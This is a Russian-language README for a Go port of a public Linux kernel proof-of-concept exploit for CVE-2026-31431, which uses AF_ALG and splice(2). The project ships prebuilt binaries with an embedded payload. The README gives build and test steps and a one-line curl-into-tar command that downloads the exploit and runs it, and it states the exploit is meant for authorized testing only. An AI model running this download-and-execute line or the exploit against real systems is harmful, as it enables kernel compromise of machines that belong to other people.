
Статический proof-of-concept на Go для CVE-2026-31431, использующий Linux AF_ALG и splice(2) для срабатывания уязвимости. Предоставляет готовые бинарные файлы для amd64, arm64 и 386.
Этот репозиторий содержит порт на Go публичного proof of concept на Python из
theori-io/copy-fail-CVE-2026-31431.
Программа работает только в Linux. Она использует интерфейс Linux AF_ALG, управляющие
сообщения AEAD и splice(2) для сохранения поведения оригинального PoC, при этом
собираясь в небольшой статический бинарный файл Go.
Релизные сборки создаются для:
linux/amd64linux/arm64linux/386Каждый бинарный файл содержит встроенный payload ELF для той же целевой архитектуры.
Сборки для macOS и Windows намеренно не публикуются, поскольку PoC зависит от специфичных для Linux интерфейсов ядра.
Тегированные релизы публикуют сжатые статические бинарные файлы и манифест контрольных сумм:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSПроверьте загруженный артефакт с помощью:
sha256sum -c SHA256SUMS
Требования:
Сборка для текущей архитектуры хоста:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Кросс-сборка для целевой платформы Linux:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
Поддерживаемые значения GOARCH: amd64, arm64 и 386.
Запуск тестов:
go test ./...
go vet ./...
Тесты покрывают только неразрушающую вспомогательную логику. Они не выполняют путь срабатывания PoC.
Запустите бинарный файл на системе Linux, которой вы владеете или на тестирование которой у вас есть явное разрешение:
./copy-fail-poc-linux-*
Однострочная загрузка и запуск релиза:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
Поведение зависит от целевого ядра и локальной конфигурации системы. Бинарный файл не гарантирует успешную эксплуатацию на каждой системе Linux.
Рабочий процесс GitHub Actions запускается по тегам, соответствующим v*, а также
может быть запущен вручную со вкладки Actions.
Создание релиза:
git tag v0.1.0
git push origin v0.1.0
Для сборок по тегам рабочий процесс создаёт GitHub Release и загружает артефакты
Linux плюс SHA256SUMS. Для ручных запусков артефакты доступны из запуска
рабочего процесса.
Этот проект предоставлен только для авторизованных исследований безопасности, защитной валидации и образовательного обзора. Не запускайте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Вы несёте ответственность за соблюдение всех применимых законов, контрактов и политик.
theori-io/copy-fail-CVE-2026-31431